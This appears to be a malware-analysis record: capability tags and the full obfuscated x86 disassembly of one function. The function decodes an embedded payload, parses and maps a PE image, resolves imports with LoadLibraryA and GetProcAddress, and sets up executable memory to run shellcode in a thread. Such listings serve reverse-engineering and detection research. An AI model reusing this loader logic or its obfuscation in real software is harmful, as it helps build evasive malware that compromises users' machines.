Function at 0x40e880
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Get process heap flags
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, 0x45bd0
call fcn.0041cad0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x45bd0], eax
mov eax, dword [0x479080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x45bc8], 0x8fdc6203
mov eax, dword [ebp - 0x45bc8]
mov dword [ebp - 0x45bd4], eax
sub eax, 0x82ea0476
je 0x411db5
jmp 0x40e8c8
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x86881b9b
je 0x411e41
jmp 0x40e8de
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x87facdfb
je 0x40ff43
jmp 0x40e8f4
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x891fea12
je 0x410553
jmp 0x40e90a
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x89c28554
je 0x41199a
jmp 0x40e920
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x8c1122e4
je 0x412921
jmp 0x40e936
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x8c57430c
je 0x410fc8
jmp 0x40e94c
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x8d4fb8c8
je 0x41191f
jmp 0x40e962
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x8fdc6203
je 0x40fa97
jmp 0x40e978
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x8ff44fc2
je 0x4100bd
jmp 0x40e98e
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x916d6169
je 0x412664
jmp 0x40e9a4
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x917a14f7
je 0x4129b6
jmp 0x40e9ba
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x92b9a897
je 0x40fbb1
jmp 0x40e9d0
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x962fe9b1
je 0x4120e0
jmp 0x40e9e6
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x96468305
je 0x410744
jmp 0x40e9fc
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x96eeb732
je 0x411a32
jmp 0x40ea12
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x974ae293
je 0x41050e
jmp 0x40ea28
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x998a3584
je 0x410858
jmp 0x40ea3e
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x99aac2c9
je 0x412740
jmp 0x40ea54
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x9d6e262b
je 0x41058e
jmp 0x40ea6a
mov eax, dword [ebp - 0x45bd4]
sub eax, 0x9dd8fdf2
je 0x411dd3
jmp 0x40ea80
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xa06537ed
je 0x41024c
jmp 0x40ea96
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xa0a7c635
je 0x4127ba
jmp 0x40eaac
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xa1730681
je 0x4128f7
jmp 0x40eac2
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xa1ba4373
je 0x4117fc
jmp 0x40ead8
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xa1ba7f84
je 0x410a27
jmp 0x40eaee
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xa30148ab
je 0x411a23
jmp 0x40eb04
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xa39da8f2
je 0x40fda5
jmp 0x40eb1a
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xa544cf66
je 0x410b7e
jmp 0x40eb30
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xa63e9e01
je 0x4115cb
jmp 0x40eb46
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xa8717abb
je 0x4111de
jmp 0x40eb5c
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xaa8cd8f3
je 0x40fe97
jmp 0x40eb72
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xab3edc74
je 0x411a81
jmp 0x40eb88
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xab800b15
je 0x411c38
jmp 0x40eb9e
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xaba878bd
je 0x4110a6
jmp 0x40ebb4
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xace93c17
je 0x410176
jmp 0x40ebca
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xad1ada3f
je 0x410f7d
jmp 0x40ebe0
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xad766409
je 0x41258f
jmp 0x40ebf6
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xb3491d16
je 0x41242b
jmp 0x40ec0c
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xb5065fcb
je 0x411f68
jmp 0x40ec22
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xb69a2ff5
je 0x412912
jmp 0x40ec38
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xb8bae1da
je 0x412a26
jmp 0x40ec4e
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xb908b3c2
je 0x4101ff
jmp 0x40ec64
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xba01c2f5
je 0x411334
jmp 0x40ec7a
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xba3e5e0e
je 0x410d2b
jmp 0x40ec90
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xbab60da4
je 0x40fc1f
jmp 0x40eca6
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xbaf81a05
je 0x411147
jmp 0x40ecbc
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xbf5bb4fe
je 0x41210a
jmp 0x40ecd2
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xc2018a13
je 0x4128b8
jmp 0x40ece8
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xc3340e86
je 0x4114b6
jmp 0x40ecfe
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xc5ee8a33
je 0x410ac7
jmp 0x40ed14
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xc73e3cd0
je 0x40ff2a
jmp 0x40ed2a
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xc8bac16c
je 0x4117c8
jmp 0x40ed40
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xca08890c
je 0x410291
jmp 0x40ed56
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xcaa8f075
je 0x411403
jmp 0x40ed6c
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xccab5261
je 0x410ab8
jmp 0x40ed82
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xccf3d207
je 0x4118e1
jmp 0x40ed98
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xcd7c5ca5
je 0x411bce
jmp 0x40edae
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xd2e6a6b7
je 0x4110e8
jmp 0x40edc4
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xd335cff9
je 0x41128f
jmp 0x40edda
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xd34bc552
je 0x41270c
jmp 0x40edf0
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xd40be31d
je 0x411507
jmp 0x40ee06
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xd72fa6ea
je 0x4100e7
jmp 0x40ee1c
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xd9f6d26a
je 0x41259e
jmp 0x40ee32
mov eax, dword [ebp - 0x45bd4]
sub eax, 0xdcd2b569
je 0x4104e6
mov eax, dword [ebp - 0x45bd0]
push eax
mov ecx, esp
mov dword [ebp - 0x45b70], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x45b6c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x45b68], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x45b64], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x45b60], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x45b5c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x45b58], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x45b54], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x45b50], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x45b4c], ecx
sub esp, 0x78
mov ecx, esp
mov dword [ebp - 0x45b48], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x45b44], ecx
sub esp, 8
mov ecx, esp
mov dword [ebp - 0x45b40], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x45b3c], ecx
mov dword [ebp - 0x45b78], eax
lea ecx, [ebp - 0x45a0c]
lea eax, [0x42cd44]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x45a00
call fcn.0041d930
add esp, 0xc
lea eax, [ebp - 0x45a0c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x45a00
call fcn.0040da40
add esp, 8
lea eax, [ebp - 0x45a0c]
mov dword [ebp - 0x45b78], eax
mov eax, dword [ebp - 0x45b78]
mov dword [ebp - 0x45b7c], eax
mov eax, dword [ebp - 0x45b78]
mov ecx, dword [ebp - 0x45b7c]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x45b80], eax
mov dword [ebp - 0x45bc8], 0x92b9a897
jmp 0x412bab
mov ecx, dword [0x47a574]
mov eax, dword [0x47a570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x55bd4403
mov ecx, 0xbab60da4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45b80]
cmp dword [eax], 0x4550
setne al
and al, 1
mov byte [ebp - 0x45b35], al
mov eax, dword [0x47a574]
mov ecx, dword [0x47a570]
mov edx, eax
sub edx, 0xf7b75d15
sub edx, 1
add edx, 0xf7b75d15
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x55bd4403
mov ecx, 0x1a7c5b41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0xeef51700
jmp 0x412bab
mov eax, dword [ebp - 0x45b34]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x45b30], eax
cmp dword [ebp - 0x45a64], 0
setne al
and al, 1
mov byte [ebp - 0x45b29], al
mov eax, dword [0x47a574]
mov ecx, dword [0x47a570]
mov edx, eax
add edx, 0x6e0a1a94
sub edx, 1
sub edx, 0x6e0a1a94
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61017b58
mov ecx, 0x78392269
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0x5b6d9f11
mov dword [ebp - 0x45bcc], 0
jmp 0x412bab
mov eax, dword [ebp - 0x45b80]
mov dword [ebp - 0x45b28], eax
mov dword [ebp - 0x45bc8], 0xed6fcea
jmp 0x412bab
mov eax, dword [ebp - 0x45b84]
mov dword [ebp - 0x45b20], eax
mov eax, dword [ebp - 0x45b80]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x45b1c], eax
mov dword [ebp - 0x45bc8], 0xd72fa6ea
jmp 0x412bab
mov edx, dword [ebp - 0x45b20]
mov esi, dword [ebp - 0x45b1c]
mov eax, 0xace93c17
mov ecx, 0xfe8d2f63
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45b84]
mov dword [ebp - 0x45b14], eax
mov dword [ebp - 0x45bc8], 0x7b83a2d5
jmp 0x412bab
mov eax, dword [ebp - 0x45b90]
mov ecx, dword [ebp - 0x45b80]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x45b0d], al
mov dword [ebp - 0x45bc8], 0x77cf13c1
jmp 0x412bab
mov eax, dword [ebp - 0x45b84]
mov ecx, dword [ebp - 0x45b8c]
imul edx, dword [ebp - 0x45b90], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
sub eax, 0xdc4639cb
add eax, ecx
add eax, 0xdc4639cb
mov dword [ebp - 0x45b0c], eax
mov eax, dword [ebp - 0x45b78]
mov dword [ebp - 0x45b08], eax
mov dword [ebp - 0x45bc8], 0xca08890c
jmp 0x412bab
mov eax, dword [ebp - 0x45b8c]
imul ecx, dword [ebp - 0x45b90], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x45b08]
add ecx, 0xa83f44a
add ecx, eax
sub ecx, 0xa83f44a
mov eax, dword [ebp - 0x45b8c]
imul edx, dword [ebp - 0x45b90], 0x28
add eax, edx
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0x45b0c]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041d930
add esp, 0xc
mov dword [ebp - 0x45bc8], 0x19596d29
jmp 0x412bab
mov eax, dword [ebp - 0x45b84]
mov ecx, dword [ebp - 0x45b98]
mov ecx, dword [ecx]
add eax, 0x9d78e355
add eax, ecx
sub eax, 0x9d78e355
mov dword [ebp - 0x45ba0], eax
mov eax, dword [ebp - 0x45b98]
mov eax, dword [eax + 4]
xor ecx, ecx
sub ecx, 8
add eax, ecx
mov dword [ebp - 0x45af8], eax
mov dword [ebp - 0x45bc8], 0x891fea12
jmp 0x412bab
mov eax, dword [ebp - 0x45af8]
shr eax, 1
mov dword [ebp - 0x45ba4], eax
mov eax, dword [ebp - 0x45b98]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x45ba8], eax
mov dword [ebp - 0x45bac], 0
mov dword [ebp - 0x45bc8], 0x9d6e262b
jmp 0x412bab
mov eax, dword [ebp - 0x45bac]
mov dword [ebp - 0x45af4], eax
mov eax, dword [ebp - 0x45ba4]
mov dword [ebp - 0x45af0], eax
mov dword [ebp - 0x45bc8], 0x68b0449d
jmp 0x412bab
mov eax, dword [0x47a574]
mov ecx, dword [0x47a570]
mov edx, eax
add edx, 0xecb71bf1
sub edx, 1
sub edx, 0xecb71bf1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x13ce408e
mov ecx, 0xe8683f0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [0x47a574]
mov ecx, dword [0x47a570]
mov edx, eax
sub edx, 0x45585b32
sub edx, 1
add edx, 0x45585b32
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5f1b459f
mov ecx, 0xf976bfd1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45bac]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x45bac], eax
mov ecx, dword [0x47a574]
mov eax, dword [0x47a570]
mov edx, ecx
add edx, 0xc3c1f17c
sub edx, 1
sub edx, 0xc3c1f17c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb18c061
mov ecx, 0xccab5261
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0xc5ee8a33
jmp 0x412bab
mov eax, dword [0x47a574]
mov ecx, dword [0x47a570]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2018a13
mov ecx, 0x62022c38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0x9d6e262b
jmp 0x412bab
mov ecx, dword [0x47a574]
mov eax, dword [0x47a570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb69a2ff5
mov ecx, 0xe200f0b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45b84]
mov ecx, dword [ebp - 0x45bb0]
imul edx, dword [ebp - 0x45bb4], 0x14
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x45bb8], eax
mov eax, dword [ebp - 0x45bb8]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x45bbc], eax
mov dword [ebp - 0x45bc8], 0x8c57430c
jmp 0x412bab
mov eax, 0x6dbc0246
mov ecx, 0x277f9560
cmp dword [ebp - 0x45bbc], 0
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0xc3340e86
jmp 0x412bab
mov eax, dword [ebp - 0x45ad0]
mov edx, dword [ebp - 0x45acc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x45bc0], eax
mov dword [ebp - 0x45bc4], 0
mov dword [ebp - 0x45bc8], 0x680fe7b9
jmp 0x412bab
mov edx, dword [ebp - 0x45ac8]
mov eax, 0x508c2c76
mov ecx, 0x4d0d0069
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov ecx, dword [ebp - 0x45b84]
mov eax, dword [ebp - 0x45bc0]
mov edx, dword [ebp - 0x45bc4]
mov eax, dword [eax + edx*4]
add ecx, 0x70124ce1
add ecx, eax
sub ecx, 0x70124ce1
mov eax, dword [ebp - 0x45b70]
mov dword [eax], ecx
mov eax, dword [ebp - 0x45bc0]
mov ecx, dword [ebp - 0x45bc4]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x45bbc]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x45ac4], eax
mov eax, dword [0x47a574]
mov ecx, dword [0x47a570]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x785a8380
mov ecx, 0xf4ce0d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45b6c]
mov ecx, dword [ebp - 0x45ac4]
mov dword [eax], ecx
mov edx, dword [ebp - 0x45b6c]
mov eax, 0xf9214d6c
mov ecx, 0xcaa8f075
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45b70]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x45ac0], eax
mov eax, dword [ebp - 0x45bbc]
mov dword [ebp - 0x45abc], eax
mov ecx, dword [0x47a574]
mov eax, dword [0x47a570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc776113
mov ecx, 0xa0d3408
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45b6c]
mov eax, dword [eax]
mov dword [ebp - 0x45ab8], eax
mov eax, dword [ebp - 0x45b84]
mov ecx, dword [ebp - 0x45bb0]
imul edx, dword [ebp - 0x45bb4], 0x14
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub eax, 0xe058b777
add eax, ecx
add eax, 0xe058b777
mov edx, dword [ebp - 0x45bc4]
shl edx, 2
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x45ab4], eax
mov dword [ebp - 0x45bc8], 0xffca2c75
jmp 0x412bab
mov eax, dword [0x47a574]
mov ecx, dword [0x47a570]
mov edx, eax
sub edx, 0x1ad971b6
sub edx, 1
add edx, 0x1ad971b6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x917a14f7
mov ecx, 0xd40be31d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45bb4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x45bb4], eax
mov eax, dword [0x47a574]
mov ecx, dword [0x47a570]
mov edx, eax
add edx, 0x8ba96644
sub edx, 1
sub edx, 0x8ba96644
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x917a14f7
mov ecx, 0xe66a5281
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [0x47a574]
mov ecx, dword [0x47a570]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44614a53
mov ecx, 0x1039f703
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45b5c]
mov eax, dword [eax]
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x96eeb732
mov ecx, 0xa1ba4373
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [0x47a574]
mov ecx, dword [0x47a570]
mov edx, eax
add edx, 0x14467c44
sub edx, 1
sub edx, 0x14467c44
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb8bae1da
mov ecx, 0x16c706b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov edx, dword [ebp - 0x45aa8]
mov eax, 0x96eeb732
mov ecx, 0x7b408d3f
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45aa4]
mov ecx, 0xffffffff
xor ecx, 0x20000000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x96eeb732
mov ecx, 0xe058eae9
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45b60]
mov dword [eax], 0x40
mov ecx, dword [0x47a574]
mov eax, dword [0x47a570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x389f71b5
mov ecx, 0x2bc8d013
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0xee593c0d
jmp 0x412bab
mov eax, dword [ebp - 0x45b5c]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x45aa0], eax
mov dword [ebp - 0x45bc8], 0xc99199a
jmp 0x412bab
mov eax, dword [ebp - 0x45b5c]
mov eax, dword [eax]
mov dword [ebp - 0x45a9c], eax
mov dword [ebp - 0x45bc8], 0xe4e13562
jmp 0x412bab
mov eax, dword [0x47a574]
mov ecx, dword [0x47a570]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b35f53a
mov ecx, 0xf0e07c95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov eax, dword [ebp - 0x45b5c]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x20000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x45a94], eax
mov dword [ebp - 0x45bc8], 0xdf4155d3
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0xf39f8f88
jmp 0x412bab
mov ecx, dword [0x47a574]
mov eax, dword [0x47a570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xddb87b12
mov ecx, 0x86881b9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov ecx, dword [0x47a574]
mov eax, dword [0x47a570]
mov edx, ecx
sub edx, 0xf26f3b05
sub edx, 1
add edx, 0xf26f3b05
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xddb87b12
mov ecx, 0xf7ca5fd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0xee593c0d
jmp 0x412bab
mov eax, dword [ebp - 0x45b64]
mov eax, dword [eax]
sub eax, 0xd7864996
add eax, 1
add eax, 0xd7864996
mov dword [ebp - 0x45a7c], eax
mov dword [ebp - 0x45bc8], 0xbf5bb4fe
jmp 0x412bab
mov eax, dword [ebp - 0x45b64]
mov ecx, dword [ebp - 0x45a7c]
mov dword [eax], ecx
mov dword [ebp - 0x45bc8], 0x568b7898
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0xe485f892
jmp 0x412bab
mov dword [ebp - 0x45bc8], 0xd9f6d26a
jmp 0x412bab
mov dl, byte [ebp - 0x45a6d]
mov eax, 0xe68822f6
mov ecx, 0x42993a02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov ecx, dword [0x47a574]
mov eax, dword [0x47a570]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc7ca9d5
mov ecx, 0xe80167d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x45bc8], eax
jmp 0x412bab
mov dword [ebp - 0x45b74], 0
mov dword [ebp - 0x45bc8], 0xeef51700
